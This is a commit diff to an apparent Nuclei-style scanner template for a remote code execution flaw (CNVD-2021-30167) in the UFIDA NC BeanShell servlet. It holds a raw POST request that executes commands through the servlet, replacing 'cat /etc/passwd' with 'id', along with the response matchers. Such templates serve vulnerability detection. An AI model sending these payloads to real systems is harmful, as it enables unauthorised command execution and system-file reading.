misc changes

cnvd/CNVD-2021-30167.yaml

@@ -1,11 +1,13 @@
-id: nc-bsh-servlet-rce
+id: CNVD-2021-30167
 
 info:
-  name: NC bsh.servlet.BshServlet RCE
+  name: UFIDA NC BeanShell Remote Code Execution
   author: pikpikcu
   severity: high
-  reference: https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
-  tags: beanshell,rce
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
 
 requests:
   - raw:
@@ -15,7 +17,7 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
         Content-Type: application/x-www-form-urlencoded
 
-        bsh.script=exec("cat /etc/passwd");
+        bsh.script=exec("id");
 
       - | #windows
         POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
@@ -30,8 +32,13 @@ requests:
 
       - type: regex
         regex:
-          - "root:[x*]:0:0"
+          - "uid="
           - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
 
       - type: status
         status: